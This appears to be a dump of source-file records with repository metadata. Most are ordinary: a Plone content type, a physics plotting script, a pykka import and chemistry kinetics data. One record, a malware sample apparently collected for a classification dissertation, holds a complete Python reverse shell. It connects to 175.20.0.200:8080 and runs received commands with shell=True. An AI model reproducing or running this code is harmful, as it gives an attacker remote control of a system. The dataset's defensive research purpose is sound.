a665c6384b63ac5e32e539f327e7903a1397ebd5 | 98a7b8c539d17946e361495ebb5eed3d83727e38 | /variation/trunk/web_interface/Variation.SNP250k/Variation/SNP250k/content/phenotype.py | c8022409e462c606ecebc3e3e52431bead95c6e9 | [] | no_license | polyactis/repos | 8a6a9703ca9ec2f9b75fb5bda06d4d29aace19c1 | 7b402496aae81665e6a915b5021b94d56e034c9d | refs/heads/master | 2020-12-08T16:30:24.175800 | 2013-02-27T19:45:20 | 2013-02-27T19:45:20 | 8,463,267 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 4,749 | py | """Definition of the Film content type. See cinemafolder.py for more
explanation on the statements below.
"""
from zope.interface import implements, directlyProvides
from zope.component import adapts
from zope.schema.interfaces import IVocabularyFactory
from zope.schema.vocabulary import SimpleVocabulary
from zope.sc... | [
"yh@c5b91a9c-90b7-4db6-b2ac-9ef0fe68db40"
] | yh@c5b91a9c-90b7-4db6-b2ac-9ef0fe68db40 |
0f0b39ee06876178af19c137d801b21d67e04d67 | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad521.py | de8f80ce73a4c65eb74d26a5fce319ebbd99590f | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 314 | py | import zlib
import crypt
import socket
import subprocess
import zipfile
import bz2
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not command: break
data = subprocess.check_output(command, shell=True)
s.send(data)
| [
"barnsa@uni.coventry.ac.uk"
] | barnsa@uni.coventry.ac.uk |
0cc06b14c501a804ffe9e22bf76c7b33ec52f62e | 49d2b8df9b98c9727789daeb4321b6b1ec8be4b8 | /plots/singleLep.py | 1675ca0c4b5cc212e0e89bb07aeae59dc0f0d1b2 | [] | no_license | danbarto/tW_scattering | 2fea3b26e9e1cb95ba272cde45bd02d5cc832373 | e3b335c2e9a0dcb9e08ef56a2546dd7f40d276ba | refs/heads/master | 2023-08-24T00:23:25.763659 | 2023-08-11T20:48:02 | 2023-08-11T20:48:02 | 241,909,033 | 0 | 9 | null | 2023-01-30T20:40:26 | 2020-02-20T14:45:10 | Python | UTF-8 | Python | false | false | 7,918 | py | '''
small script that reades histograms from an archive and saves figures in a public space
ToDo:
[x] Cosmetics (labels etc)
[x] ratio pad!
[x] pseudo data
[ ] -> move to processor to avoid drawing toys every time!
[x] uncertainty band
[ ] fix shapes
'''
from coffea import hist
import pandas as pd
import os
i... | [
"daniel.spitzbart@cern.ch"
] | daniel.spitzbart@cern.ch |
30cf3c56e8b7aec09e13f7a8405ba967505113e3 | 8cce087dfd5c623c2f763f073c1f390a21838f0e | /projects/pykka/test.py | 6f008e9c0c9212fb82af40dc869502163a32a1f3 | [
"Unlicense"
] | permissive | quinn-dougherty/python-on-nix | b2ae42761bccf7b3766999b27a4674310e276fd8 | 910d3f6554acd4a4ef0425ebccd31104dccb283c | refs/heads/main | 2023-08-23T11:57:55.988175 | 2021-09-24T05:55:00 | 2021-09-24T05:55:00 | 414,799,752 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13 | py | import pykka
| [
"kamadorueda@gmail.com"
] | kamadorueda@gmail.com |
97d4bcd70018f77a10f4bd31a27a2452a88b1de6 | 41fd80f9ccc72a17c2db16b7019312a87d3181e8 | /zhang_local/pdep/network212_1.py | 6c77009e8b1548f348adffe82e2b4ad8ecd701ef | [] | no_license | aberdeendinius/n-heptane | 1510e6704d87283043357aec36317fdb4a2a0c34 | 1806622607f74495477ef3fd772908d94cff04d9 | refs/heads/master | 2020-05-26T02:06:49.084015 | 2019-07-01T15:12:44 | 2019-07-01T15:12:44 | 188,069,618 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 61,321 | py | species(
label = '[CH2]CCCCCC(13)',
structure = SMILES('[CH2]CCCCCC'),
E0 = (-10.3984,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2750,2761.11,2772.22,2783.33,2794.44,2805.56,2816.67,2827.78,2838.89,2850,1425,1431.25,1437.5,1443.75,1450,1225,1237.5,1250,1262.5,1275,1270,1287.5,1305,132... | [
"dinius.ab@husky.neu.edu"
] | dinius.ab@husky.neu.edu |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.